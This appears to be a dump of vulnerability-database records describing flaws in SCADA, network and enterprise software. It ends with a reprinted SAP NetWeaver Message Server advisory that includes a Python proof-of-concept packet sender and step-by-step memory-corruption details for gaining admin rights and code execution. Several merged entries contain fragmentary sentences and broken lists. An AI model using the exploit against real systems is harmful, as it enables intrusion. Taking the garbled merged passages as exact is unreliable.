In Advantech WebAccess versions V8.2_20170817 and prior, WebAccess versions V8.3.0 and prior, WebAccess Dashboard versions V.2.0.15 and prior, WebAccess Scada Node versions prior to 8.3.1, and WebAccess/NMS 2.0.3 and prior, several SQL injection vulnerabilities have been identified, which may allow an attacker to disclose sensitive information from the host. This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within Quality.asp. When parsing the ItemGroupIdAry parameter, the process does not properly validate a user-supplied string before using it to construct SQL queries. An attacker can leverage this vulnerability to disclose sensitive information under the context of the database. Advantech WebAccess and others are products of Advantech. Advantech WebAccess is a browser-based HMI/SCADA software. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. WebAccess Dashboard is one of the dashboard components; WebAccess Scada Node is one of the monitoring node components. WebAccess/NMS is a suite of web browsers for the Network Management System (NMS). SQL injection vulnerabilities exist in several Advantech products. Advantech WebAccess is prone to the following security vulnerabilities:
1. Multiple SQL-injection vulnerabilities
2. An information-disclosure vulnerability
3. A file-upload vulnerability
4. Multiple directory-traversal vulnerabilities
5. Multiple stack-based buffer-overflow vulnerabilities
6. A heap-based buffer-overflow vulnerability
7. Multiple arbitrary code-execution vulnerabilities
8. A denial-of-service vulnerability
9. A security-bypass vulnerability
10. A privilege-escalation vulnerability
An attacker can exploit these issues to execute arbitrary code in the context of the application, or modify data, or exploit latent vulnerabilities in the underlying database, delete arbitrary files, gain elevated privileges, perform certain unauthorized actions, upload arbitrary files to the affected application gain unauthorized access and obtain sensitive information. Failed attacks will cause denial of service conditions |
|
var-201806-1058
|
Crestron TSW-1060, TSW-760, TSW-560, TSW-1060-NC, TSW-760-NC, and TSW-560-NC devices before 2.001.0037.001 allow unauthenticated remote code execution via a Bash shell service in Crestron Toolbox Protocol (CTP). This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Crestron's Android-based products. Authentication is not required to exploit this vulnerability.The specific flaw exists within the RESTARTSERVICE command of the CTP console. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker could leverage this vulnerability to execute code with root privileges. CrestronTSW-1060 and other are touch screen devices of Crestron Electronics of the United States. There are security vulnerabilities in several Crestron products. Multiple OS command-injection vulnerabilities.
2. An access-bypass vulnerability.
3. A security-bypass vulnerability.
Attackers can exploit these issues to execute arbitrary OS commands and bypass certain security restrictions, perform unauthorized actions, or gain sensitive information within the context of the affected system. Failed exploit attempts will likely result in denial of service conditions |
|
var-201902-0647
|
LCDS Laquis SCADA prior to version 4.1.0.4150 allows execution of script code by opening a specially crafted report format file. This may allow remote code execution, data exfiltration, or cause a system crash. Script embedded in a crafted file can create files in arbitrary locations using the AddComboFile method. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of LAquis SCADA Software. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the processing of the MemoryWriteWord method. The issue results from the lack of proper validation of user-supplied data, which can result in a memory corruption condition. An attacker can leverage this vulnerability to execute code in the context of the aq process. LAquis SCADA is a suite of SCADA software for monitoring and data acquisition. LCDS LAquis SCADA is prone to multiple security vulnerabilities. Failed attempts will likely cause a denial-of-service condition.
LCDS LAquis SCADA version 4.1.0.3870 is vulnerable; other versions may also be affected |
|
var-200202-0006
|
Vulnerabilities in a large number of SNMP implementations allow remote attackers to cause a denial of service or gain privileges via SNMPv1 trap handling, as demonstrated by the PROTOS c06-SNMPv1 test suite. NOTE: It is highly likely that this candidate will be SPLIT into multiple candidates, one or more for each vendor. This and other SNMP-related candidates will be updated when more accurate information is available. Multiple vendor SNMPv1 Trap handling implementations contain vulnerabilities that may allow unauthorized privileged access, denial-of-service conditions, or unstable behavior . If your site uses SNMP in any capacity, the CERT/CC encourages you to read the information provided below. ------------ This vulnerability information is a summary of multiple vulnerabilities released at the same time. Please note that the contents of vulnerability information other than the title are included. ------------ SNMP Protocol is status and performance information MIB (Management Information Base) Protocol used to exchange Management side SNMP Managers such as managed routers, switches and printers SNMP Communicates with management network devices called agents. Because of its wide acceptance in the market, SNMP Has become the standard for SNMP protocol version1 Is SNMPv1 Is the most widely implemented. this SNMPv1 Sent from the agent to the manager in the implementation of SNMP Trap message and sent from the manager to the agent SNMP Decrypt the request message / There are problems in interpreting. If this problem is used by an attacker, the following actions may be executed. Many other programs that you implement may also be affected because of a protocol problem. On the target host SNMP If the service is running, an attacker could execute arbitrary code ・ If a buffer overflow attack is feasible and a very long trap message SNMP If the host on which the service is running receives, the application may go into a denial of service state The effects described above vary from application to application. For details, refer to each product.Please refer to the “Overview” for the impact of this vulnerability. Windows 95 is prone to a denial-of-service vulnerability. MPE/iX is an Internet-ready operating system for the HP e3000 class servers. It is possible to crash the service by transmitting to it a maliciously constructed SNMPv1 request PDU. It was previously known as UCD-SNMP. They typically notify the manager that some event has occured or otherwise provide information about the status of the agent.
Multiple vulnerabilities have been discovered in a number of SNMP implementations. The vulnerabilities are known to exist in the process of decoding and interpreting SNMP trap messages.
Among the possible consequences are denial of service and allowing attackers to compromise target systems. These depend on the individual vulnerabilities in each affected product.
HP has confirmed that large traps will cause OpenView Network Node Manager to crash. This may be due to an exploitable buffer overflow condition |
|
var-200107-0035
|
slapd in OpenLDAP 1.x before 1.2.12, and 2.x before 2.0.8, allows remote attackers to cause a denial of service (crash) via an invalid Basic Encoding Rules (BER) length field. Multiple versions of OpenLDAP contain vulnerabilities that may allow denial-of-service attacks. These vulnerabilities were revealed using the PROTOS LDAPv3 test suite and are documented in CERT Advisory CA-2001-18. If your site uses this product, the CERT/CC encourages you to follow the advice provided below. Vulnerabilities exist in slapd in OpenLDAP 1.x versions prior to 1.2.12 and 2.x versions prior to 2.0.8 |
|
var-200607-0396
|
Multiple stack-based buffer overflows in eIQnetworks Enterprise Security Analyzer (ESA) before 2.5.0, as used in products including (a) Sidewinder, (b) iPolicy Security Manager, (c) Astaro Report Manager, (d) Fortinet FortiReporter, (e) Top Layer Network Security Analyzer, and possibly other products, allow remote attackers to execute arbitrary code via long (1) DELTAINTERVAL, (2) LOGFOLDER, (3) DELETELOGS, (4) FWASERVER, (5) SYSLOGPUBLICIP, (6) GETFWAIMPORTLOG, (7) GETFWADELTA, (8) DELETERDEPDEVICE, (9) COMPRESSRAWLOGFILE, (10) GETSYSLOGFIREWALLS, (11) ADDPOLICY, and (12) EDITPOLICY commands to the Syslog daemon (syslogserver.exe); (13) GUIADDDEVICE, (14) ADDDEVICE, and (15) DELETEDEVICE commands to the Topology server (Topology.exe); the (15) LICMGR_ADDLICENSE command to the License Manager (EnterpriseSecurityAnalyzer.exe); the (16) TRACE and (17) QUERYMONITOR commands to the Monitoring agent (Monitoring.exe); and possibly other vectors related to the Syslog daemon (syslogserver.exe). Used in the following products eIQnetworks Enterprise Security Analyzer (ESA) Is Syslog daemon (syslogserver.exe) A stack-based buffer overflow vulnerability exists due to a flaw in handling. During the processing of long arguments to the LICMGR_ADDLICENSE command a classic stack based buffer overflow occurs. Authentication is not required to exploit this vulnerability.The specific flaw exists within the Syslog daemon, syslogserver.exe, during the processing of long strings transmitted to the listening TCP port. The vulnerability is not exposed over UDP. The default configuration does not expose the open TCP port. eIQnetworks Enterprise Security Analyzer (ESA) is an enterprise-level security management platform. The following commands are known to be affected by this vulnerability:
DELTAINTERVAL
LOGFOLDER
DELETELOGS
FWASERVER
SYSLOGPUBLICIP
GETFWAIMPORTLOG
GETFWADELTA
DELETERDEPDEVICE
COMPRESSRAWLOGFILE
GETSYSLOGFIREWALLS
ADDPOLICY
EDITPOLICY. OEM vendors' versions prior to 4.6 are also vulnerable.
-- About the TippingPoint Security Research Team (TSRT):
The TippingPoint Security Research Team (TSRT) consists of industry
recognized security researchers that apply their cutting-edge
engineering, reverse engineering and analysis talents in our daily
operations. More information about the team is available at:
http://www.tippingpoint.com/security
The by-product of these efforts fuels the creation of vulnerability
filters that are automatically delivered to our customers' intrusion
prevention systems through the Digital Vaccine(R) service. ZDI-06-023: eIQnetworks Enterprise Security Analyzer Syslog Server Buffer
Overflow Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-06-023.html
July 25, 2006
-- CVE ID:
CVE-2006-3838
-- Affected Vendor:
eIQnetworks
-- Affected Products:
eIQnetworks Enterprise Security Analyzer
Astaro Report Manager (OEM)
Fortinet FortiReporter (OEM)
iPolicy Security Reporter (OEM)
SanMina Viking Multi-Log Manager (OEM)
Secure Computing G2 Security Reporter (OEM)
Top Layer Network Security Analyzer (OEM)
-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability since by Digital Vaccine protection
filter ID N/A.
Authentication is not required to exploit this vulnerability.
-- Vendor Response:
eIQnetworks has issued an update to correct this vulnerability. More
details can be found at:
http://www.eiqnetworks.com/products/enterprisesecurity/EnterpriseSecurityAnalyzer/ESA_2.5.0_Release_Notes.pdf
-- Disclosure Timeline:
2006.05.10 - Vulnerability reported to vendor
- Digital Vaccine released to TippingPoint customers
2006.07.25 - Coordinated public release of advisory
-- Credit:
This vulnerability was discovered by Titon, JxT, KF and the rest of
Bastard Labs.
-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, a division of 3Com, The Zero Day Initiative
(ZDI) represents a best-of-breed model for rewarding security
researchers for responsibly disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is used.
3Com does not re-sell the vulnerability details or any exploit code.
Instead, upon notifying the affected product vendor, 3Com provides its
customers with zero day protection through its intrusion prevention
technology. Explicit details regarding the specifics of the
vulnerability are not exposed to any parties until an official vendor
patch is publicly available. Furthermore, with the altruistic aim of
helping to secure a broader user base, 3Com provides this vulnerability
information confidentially to security vendors (including competitors)
who have a vulnerability protection or mitigation product.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
|
|
var-201601-0038
|
Multiple stack-based buffer overflows in Advantech WebAccess before 8.1 allow remote attackers to execute arbitrary code via unspecified vectors. Authentication is not required to exploit this vulnerability.The specific flaw exists within the implementation of the 0x27B0 IOCTL in the ViewSrv subsystem. A stack-based buffer overflow vulnerability exists in a call to BwBuildPath. An attacker can use this vulnerability to execute arbitrary code in the context of an administrator of the system. WebAccess HMI/SCADA software provides remote control and management, allowing users to easily view and configure automation equipment in facility management systems, power stations and building automation systems |
|
var-201801-0394
|
TP-Link WVR, WAR and ER devices allow remote authenticated administrators to execute arbitrary commands via command injection in the new-interface variable in the cmxddns.lua file. TP-LinkWVR, WAR and ERdevices are different series of router products from China TP-LINK. Security vulnerabilities exist in TP-LinkWVR, WAR, and ER devices |
|
var-201805-1147
|
WPLSoft in Delta Electronics versions 2.45.0 and prior utilizes a fixed length heap buffer where a value larger than the buffer can be read from a file into the buffer, causing the buffer to be overwritten, which may allow remote code execution or cause the application to crash. Delta Electronics WPLSoft Contains a buffer error vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Delta Industrial Automation WPLSoft. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.The specific flaw exists within the parsing of dvp files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length heap-based buffer. An attacker can leverage this vulnerability to execute arbitrary code under the context of the current process. Delta Industrial Automation is the industry automation vendor for power management and cooling solutions worldwide. The length of the data provided by the user is not verified. WPLSoft (Delta PLC programming software) is a PLC program programming software used by Delta Electronics in the WINDOWS operating system environment. Delta Electronics WPLSoft has a heap buffer overflow vulnerability. Execute or cause the application to crash. A stack-based buffer-overflow vulnerability
2. A heap-based buffer-overflow vulnerability
3.
Delta Industrial WPLSoft Version 2.45.0 and prior versions are vulnerable |
|
var-201904-0181
|
Advantech WebAccess/SCADA, Versions 8.3.5 and prior. Multiple stack-based buffer overflow vulnerabilities, caused by a lack of proper validation of the length of user-supplied data, may allow remote code execution. Advantech WebAccess/SCADA Contains a buffer error vulnerability.Information is acquired, information is falsified, and denial of service (DoS) May be in a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Advantech WebAccess Node. Authentication is not required to exploit this vulnerability.The specific flaw exists within bwthinfl.exe, which is accessed through the 0x2711 IOCTL in the webvrpcs process. An attacker can leverage this vulnerability to execute code in the context of Administrator. Advantech WebAccess/SCADA is a set of browser-based SCADA software from Advantech. The software supports dynamic graphical display and real-time data control, and provides the ability to remotely control and manage automation equipment. A buffer overflow vulnerability exists in Advantech WebAccess/SCADA. This vulnerability stems from the fact that when the network system or product performs operations on the memory, the data boundary is not correctly verified, resulting in execution to other associated memory locations. erroneous read and write operations |
|
var-202001-0833
|
A Denial of Service vulnerability exists in the WRITE_C function in the msg_server.exe module in SAP NetWeaver 2004s, 7.01 SR1, 7.02 SP06, and 7.30 SP04 when sending a crafted SAP Message Server packet to TCP ports 36NN and/or 39NN. SAP NetWeaver Contains an array index validation vulnerability.Denial of service operation (DoS) May be in a state. This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of SAP Netweaver ABAP. Authentication is not required to exploit this vulnerability. The specific flaw exists within the msg_server.exe listening on 3900 by default. When the msg_server parses a message with opcode 0x43 and sub-opcode 0x04 it uses a user suplied size field to copy a string into a static sized stack buffer. The resulting buffer overflow can lead to remote code execution under the context of the process. Authentication is not required to exploit this vulnerability.The specific flaw exists within the way SAP NetWeaver handles packages with opcode 0x43. If a package with sub opcode 0x4 contains a long parameter value string NetWeaver will eventually write a \x00 byte onto the stack to mark the end of the string. SAP NetWeaver has a defect in the message with the opcode 0x43. SAP NetWeaver is the technical foundation for SAP Business Suite solutions, SAP xApps composite applications, partner solutions, and custom applications. Msg_server.exe listens to port 3900 by default. Arbitrary code.
Successfully exploiting these issues may allow an attacker to execute arbitrary code with the privileges of the user running the affected application or cause denial-of-service conditions.
The following products are affected:
SAP Netweaver 2004s
SAP Netweaver 7.01 SR1
SAP Netweaver 7.02 SP06
SAP Netweaver 7.30 SP04. Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
CORE-2012-1128
1. *Advisory Information*
Title: SAP Netweaver Message Server Multiple Vulnerabilities
Advisory ID: CORE-2012-1128
Advisory URL:
http://www.coresecurity.com/content/SAP-netweaver-msg-srv-multiple-vulnerabilities
Date published: 2013-02-13
Date of last update: 2013-02-13
Vendors contacted: SAP
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Improper Validation of Array Index [CWE-129], Buffer overflow
[CWE-119]
Impact: Code execution, Denial of service
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1592, CVE-2013-1593
3. By sending different messages,
the different vulnerabilities can be triggered.
4. *Vulnerable packages*
. Older versions are probably affected too, but they were not checked.
5. *Non-vulnerable packages*
. Vendor did not provide this information.
6. *Vendor Information, Solutions and Workarounds*
SAP released the security note 1800603 [2] regarding these issues.
7. *Credits*
Vulnerability [CVE-2013-1592] was discovered by Martin Gallo and
Francisco Falcon, and additional research was performed by Francisco
Falcon. Vulnerability [CVE-2013-1593] was discovered and researched by
Martin Gallo from Core Security Consulting Services. The publication of
this advisory was coordinated by Fernando Miranda from Core Advisories
Team.
8. *Technical Description / Proof of Concept Code*
The following python script is the main PoC that can be used to
reproduce all vulnerabilities described below:
/-----
import socket, struct
from optparse import OptionParser
# Parse the target options
parser = OptionParser()
parser.add_option("-d", "--hostname", dest="hostname", help="Hostname",
default="localhost")
parser.add_option("-p", "--port", dest="port", type="int", help="Port
number", default=3900)
(options, args) = parser.parse_args()
client_string = '-'+' '*39
server_name = '-'+' '*39
def send_packet(sock, packet):
packet = struct.pack("!I", len(packet)) + packet
sock.send(packet)
def receive(sock):
length = sock.recv(4)
(length, ) = struct.unpack("!I", length)
data = ""
while len(data)<length:
data+= sock.recv(length)
return (length, data)
def initialize_connection(hostname, port):
# Connect
print "[*] Connecting to", hostname, "port", port
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((hostname, port))
# Send initialization packet
print "[*] Conected, sending login request"
init = '**MESSAGE**\x00' # eyecatcher
init+= '\x04' # version
init+= '\x00' # errorno
init+= client_string # toname
init+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
init+= '\x01\x08' # flag / iflag (MS_LOGIN_2)
init+= client_string # fromname
init+= '\x00\x00' # padd
send_packet(connection, init)
# Receive response
print "[*] Receiving login reply"
(length, data) = receive(connection)
# Parsing login reply
server_name = data[4+64:4+64+40]
return connection
# Main PoC body
connection = initialize_connection(options.hostname, options.port)
send_attack(connection)
-----/
In the following subsections, we give the python code that can be added
after the script above in order to reproduce all vulnerabilities.
8.1. Malicious
packets are processed by the vulnerable function '_MsJ2EE_AddStatistics'
in the 'msg_server.exe' module.
The vulnerable function '_MsJ2EE_AddStatistics' receives a pointer to a
'MSJ2EE_HEADER' struct as its third parameter, which is fully controlled
by the attacker. This struct type is defined as follows:
/-----
00000000 MSJ2EE_HEADER struct ; (sizeof=0x28, standard type)
00000000 senderclusterid dd ?
00000004 clusterid dd ?
00000008 serviceid dd ?
0000000C groupid dd ?
00000010 nodetype db ?
00000011 db ? ; undefined
00000012 db ? ; undefined
00000013 db ? ; undefined
00000014 totallength dd ?
00000018 currentlength dd ?
0000001C currentoffset dd ?
00000020 totalblocks db ?
00000021 currentblock db ?
00000021
00000022 db ? ; undefined
00000023 db ? ; undefined
00000024 messagetype dd ?
00000028 MSJ2EE_HEADER ends
-----/
The '_MsJ2EE_AddStatistics' function uses the 'serviceid' field of the
'MSJ2EE_HEADER' to calculate an index to write into the
'j2ee_stat_services' global array, without properly validating that the
index is within the boundaries of the array. On the other hand,
'j2ee_stat_services' is a global array of 256 elements of type
'MSJ2EE_STAT_ELEMENT':
/-----
.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]
.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>)
.data:0090B9E0 ; DATA XREF: _MsJ2EE_AddStatistics+24o
.data:0090B9E0 ; _MsJ2EE_AddStatistics+4Co ...
-----/
This vulnerability can be used to corrupt arbitrary memory with
arbitrary values, with some restrictions. The following snippet shows
the vulnerable code within the '_MsJ2EE_AddStatistics' function:
/-----
mov edi, [ebp+pJ2eeHeader]
mov eax, [edi+MSJ2EE_HEADER.serviceid] ;attacker
controls MSJ2EE_HEADER.serviceid
xor ecx, ecx
cmp dword ptr j2ee_stat_total.totalMsgCount+4, ecx
lea esi, [eax+eax*8]
lea esi, j2ee_stat_services.totalMsgCount[esi*8] ;using the index
without validating array bounds
-----/
Since the 'serviceid' value is first multiplied by 9 and then it is
multiplied by 8, the granularity of the memory addresses that can be
targeted for memory corruption is 0x48 bytes, which is the size of the
'MSJ2EE_STAT_ELEMENT' struct:
/-----
00000000 MSJ2EE_STAT_ELEMENT struc ; (sizeof=0x48, standard type)
00000000 ; XREF:
.data:j2ee_stat_totalr
00000000 ; .data:j2ee_stat_servicesr
00000000 totalMsgCount dq ? ; XREF:
_MsJ2EE_AddStatistics+1Br
00000000 ;
_MsJ2EE_AddStatistics+2Fr ...
00000008 totalMsgLength dq ? ; XREF:
_MsJ2EE_AddStatistics+192r
00000008 ;
_MsJ2EE_AddStatistics+19Br ...
00000010 avgMsgLength dq ? ; XREF:
_MsJ2EE_AddStatistics+1C2w
00000010 ;
_MsJ2EE_AddStatistics+1C7w ...
00000018 maxLength dq ? ; XREF:
_MsJ2EE_AddStatistics+161r
00000018 ;
_MsJ2EE_AddStatistics+16Er ...
00000020 noP2PMessage dq ? ; XREF:
_MsJ2EE_AddStatistics:loc_44D442w
00000020 ;
_MsJ2EE_AddStatistics+158w ...
00000028 noP2PRequest dq ? ; XREF:
_MsJ2EE_AddStatistics+144w
00000028 ;
_MsJ2EE_AddStatistics+14Aw ...
00000030 noP2PReply dq ? ; XREF:
_MsJ2EE_AddStatistics+132w
00000030 ;
_MsJ2EE_AddStatistics+138w ...
00000038 noBroadcastMessage dq ? ; XREF:
_MsJ2EE_AddStatistics:loc_44D40Dw
00000038 ;
_MsJ2EE_AddStatistics+123w ...
00000040 noBroadcastRequest dq ? ; XREF:
_MsJ2EE_AddStatistics+10Fw
00000040 ;
_MsJ2EE_AddStatistics+115w ...
00000048 MSJ2EE_STAT_ELEMENT ends
-----/
However, it is possible to use different combinations of the
'flag/iflag' values in the Message Server packet to gain more precision
over the memory addresses that can be corrupted. Different combinations
of 'flag/iflag' values provide different memory corruption primitives,
as shown below:
/-----
At this point:
* ESI points to an arbitrary, attacker-controlled memory address
* EBX == 1
.text:0044D359 movzx eax, [ebp+msiflag]
.text:0044D35D sub eax, 0Ch
.text:0044D360 jz short loc_44D37C
.text:0044D362 sub eax, ebx
.text:0044D364 jnz short loc_44D39D
.text:0044D366 cmp [ebp+msflag], 2
.text:0044D36A jnz short loc_44D374
.text:0044D36C add [esi+40h], ebx ; iflag=0xd,
flag=2 => add 1 to [esi+0x40]
.text:0044D36F adc [esi+44h], ecx
.text:0044D372 jmp short loc_44D39D
.text:0044D374 ;
---------------------------------------------------------------------------
.text:0044D374
.text:0044D374 loc_44D374: ; CODE XREF:
_MsJ2EE_AddStatistics+7Aj
.text:0044D374 add [esi+38h], ebx ; iflag=0xd,
flag=1 => add 1 to [esi+0x38]
.text:0044D377 adc [esi+3Ch], ecx
.text:0044D37A jmp short loc_44D39D
.text:0044D37C ;
---------------------------------------------------------------------------
.text:0044D37C
.text:0044D37C loc_44D37C: ; CODE XREF:
_MsJ2EE_AddStatistics+70j
.text:0044D37C mov al, [ebp+msflag]
.text:0044D37F cmp al, 3
.text:0044D381 jnz short loc_44D38B
.text:0044D383 add [esi+30h], ebx ; iflag=0xc,
flag=3 => add 1 to [esi+0x30]
.text:0044D386 adc [esi+34h], ecx
.text:0044D389 jmp short loc_44D39D
.text:0044D38B ;
---------------------------------------------------------------------------
.text:0044D38B
.text:0044D38B loc_44D38B: ; CODE XREF:
_MsJ2EE_AddStatistics+91j
.text:0044D38B cmp al, 2
.text:0044D38D jnz short loc_44D397
.text:0044D38F add [esi+28h], ebx ; iflag=0xc,
flag=2 => add 1 to [esi+0x28]
.text:0044D392 adc [esi+2Ch], ecx
.text:0044D395 jmp short loc_44D39D
.text:0044D397 ;
---------------------------------------------------------------------------
.text:0044D397
.text:0044D397 loc_44D397: ; CODE XREF:
_MsJ2EE_AddStatistics+9Dj
.text:0044D397 add [esi+20h], ebx ; iflag=0xc,
flag=1 => add 1 to [esi+0x20]
.text:0044D39A adc [esi+24h], ecx
[...]
-----/
And the following code excerpt is always executed within the
'_MsJ2EE_AddStatistics' function, providing two more memory corruption
primitives:
/-----
.text:0044D3B7 add [esi],
ebx ;add 1 to [esi]
.text:0044D3B9 adc dword ptr [esi+4], 0
.text:0044D3BD mov eax,
[edi+MSJ2EE_HEADER.totallength] ;MSJ2EE_HEADER.totallength is fully
controlled by the attacker
.text:0044D3C0 cdq
.text:0044D3C1 add [esi+8],
eax ;add an arbitrary number to [esi+8]
-----/
This memory corruption vulnerability can be used by remote
unauthenticated attackers to execute arbitrary code on vulnerable
installations of SAP Netweaver, but it can also be abused to modify the
internal state of the vulnerable service in order to gain administrative
privileges within the SAP Netweaver Message Server.
A client connected to the Message Server may have administrative
privileges or not. The Message Server holds a structure of type
'MSADM_s' for each connected client, which contains information about
that very connection. Relevant parts of the 'MSADM_s' struct type are
shown below:
/-----
00000000 MSADM_s struc ; (sizeof=0x538, standard type)
00000000 ; XREF: .data:dummy_clientr
00000000 client_type dd ? ; enum MS_CLIENT_TYPE
00000004 stat dd ? ; enum MS_STAT
00000008 connection_ID dd ?
0000000C status db ?
0000000D dom db ? ; XREF: MsSFillCon+3Cw
0000000E admin_allowed db ?
0000000F db ? ; undefined
00000010 name dw 40 dup(?)
[...]
00000534 _padding db 4 dup(?)
00000538 MSADM_s ends
-----/
The 'admin_allowed' field at offset 0x0E is a boolean value that
indicates whether the connected client has administrative privileges or
not. When a new client connects, the 'MsSLoginClient' function of the
Message Server sets the proper value for the 'admin_allowed' field in
the 'MSADM_s' struct instance associated with that client:
/-----
.text:004230DC
loc_4230DC: ; CODE
XREF: MsSLoginClient+AAAj
.text:004230DC
; MsSLoginClient+B26j
.text:004230DC cmp byte ptr [edi+0Eh],
0 ; privileged client?
.text:004230E0 jnz short
loc_4230EA ; if yes, jump
.text:004230E2 mov al, byte ptr
ms_admin_allowed ; otherwise, grab the value of the
"ms_admin_allowed" global variable...
.text:004230E7 mov [edi+0Eh],
al ; ...and save it to MSADM_s.admin_allowed
-----/
So if we manage to overwrite the value of the 'ms_admin_allowed' global
variable with a value different than 0, then we can grant administrative
privileges to our unprivileged connections. In SAP Netweaver
'msg_server.exe' v7200.70.18.23869, the 'ms_admin_allowed' global
variable is located at '0x008f17f0':
/-----
.data:008F17F0 ; int ms_admin_allowed
.data:008F17F0 ms_admin_allowed dd ? ; DATA XREF:
MsSSetMonitor+7Ew
.data:008F17F0 ; MsSLoginClient+B62r
-----/
And the 'j2ee_stat_services' global array, which is the array that can
be indexed outside its bounds, is located at '0x0090b9e0':
/-----
.data:0090B9E0 ; MSJ2EE_STAT_ELEMENT j2ee_stat_services[256]
.data:0090B9E0 j2ee_stat_services MSJ2EE_STAT_ELEMENT 100h dup(<?>)
.data:0090B9E0 ; DATA XREF:
_MsJ2EE_AddStatistics+24o
.data:0090B9E0 ;
_MsJ2EE_AddStatistics+4Co ...
-----/
So, by providing 'MSJ2EE_HEADER.serviceid == 0x038E3315', we will be
targeting '0x008F17C8' as the base address for memory corruption. Having
in mind the different memory corruption primitives based on combinations
of 'flag/iflag' fields described above, by specifying 'iflag == 0xC' and
'flag == 0x2' in our Message Server packet we will be able to add 1 to
'[0x008F17C8+0x28]', effectively overwriting the contents of
'0x008F17F0' ('ms_admin_allowed'). After overwriting 'ms_admin_allowed',
all of our future connections will have administrative privileges within
the Message Server.
After gaining administrative privileges for our future connections,
there are at least two possible paths of exploitation:
1. Of
course it is not mandatory to have administrative privileges in order to
overwrite function pointers, but considering the limitation of
targetable addresses imposed by the little granularity of the memory
corruption, some of the most handy-to-exploit function pointers happened
to be accessible just for administrative connections.
2. Modify the configuration and behavior of the server. That includes
changing Message Server's runtime parameters and enabling Monitor Mode
in the affected server.
8.1.1. *Gaining remote code execution by overwriting function pointers*
Having in mind that the granularity of the memory addresses that can be
targeted for memory corruption is not that flexible (0x48 bytes) and the
limited memory corruption primitives available, it takes some effort to
find a function pointer that can be overwritten with a useful value and
which can be later triggered with a network packet.
One possibility is to overwrite one of the function pointers which are
in charge of handling the modification of Message Server parameters:
/-----
.data:0087DED0 ; SHMPRF_CHANGEABLE_PARAMETER ms_changeable_parameter[58]
; function pointers associated to the modification of the "ms/max_sleep"
parameter
.data:0087DED0 ms_changeable_parameter SHMPRF_CHANGEABLE_PARAMETER
<offset aMsMax_sleep, \
.data:0087DED0 offset
MsSTestInteger, \ ; "rdisp/TRACE_PATTERN_2"
.data:0087DED0 offset
MsSSetMaxSleep>
; function pointers associated to the modification of the "ms/max_vhost"
parameter
.data:0087DED0 SHMPRF_CHANGEABLE_PARAMETER <offset
aMsMax_vhost, \
.data:0087DED0 offset
MsSTestInteger, \ ;<-- we can overwrite this one
.data:0087DED0 offset
MsSSetMaxVirtHost>
[...]
-----/
By providing 'MSJ2EE_HEADER.serviceid == 0x038E1967' we can target
'0x0087DED8' as the base address for memory corruption. In this case we
can use the memory corruption primitive at address '0x0044D3C1' that
always gets executed, which will allow us to add an arbitrary number
(the value of 'MSJ2EE_HEADER.totallength') to '[0x0087DED8+8]'
effectively overwriting the function pointer shown above
('ms_changeable_parameter[1].set').
After that we need to send a 'MS_SET_PROPERTY' request, specifying
'ms/max_vhost' as the name of the property to be changed. This
'MS_SET_PROPERTY' packet will make our overwritten function pointer to
be called from the 'MsSChangeParam' function:
/-----
.text:00404DB3 loc_404DB3: ; CODE XREF:
MsSChangeParam+CDj
.text:00404DB3 lea esi, [edi+edi*2]
.text:00404DB6 mov edi, [ebp+pvalue]
.text:00404DB9 add esi, esi
.text:00404DBB mov edx,
ms_changeable_parameter.test[esi+esi]
.text:00404DC2 add esi, esi
.text:00404DC4 push edi
.text:00404DC5 push pname
.text:00404DC6 call edx ; call our
overwritten function pointer
-----/
'MS_SET_PROPERTY' packets will be ignored by the Message Server if the
requesting client does not have administrative privileges, so it is
necessary to gain administrative privileges as explained above before
using the memory corruption vulnerability to overwrite one of the
function pointers in the 'ms_changeable_parameter' global array.
8.1.2. *Modify the configuration and behavior of the server*
After gaining administrative privileges for our connections, it is
possible to perform 'MS_SET_PROPERTY' packets against the Message Server
in order to modify its configuration and behavior. That makes possible,
for example, to add virtual hosts to the load balancer, or to enable
Monitor Mode [3] (transaction SMMS) on the affected server. Enabling
Monitor Mode takes two steps:
1. Send a 'MS_SET_PROPERTY' packet with property 'name ==
"ms/monitor"', property 'value == 1'.
2. Send a 'MS_SET_PROPERTY' packet with property 'name ==
"ms/admin_port"', property 'value == 3535' (or any other arbitrary port
number).
The following python code can be used to trigger the vulnerability:
/-----
def send_attack(connection):
print "[*] Sending crash packet"
crash = '**MESSAGE**\x00' # eyecatcher
crash+= '\x04' # version
crash+= '\x00' # errorno
crash+= server_name # toname
crash+= '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' #
msgtype/reserved/key
crash+= '\x04\x0d' # flag/iflag
crash+= client_string # fromname
crash+= '\x00\x00' # padd
crash+=
"ABCDEFGH"+"\x01\x00\x00\x00"+"MNOPQRSTUVWXYZ0123"+"\x01"+"56789abcd"
crash+= "\x00\x00\x00\x01"
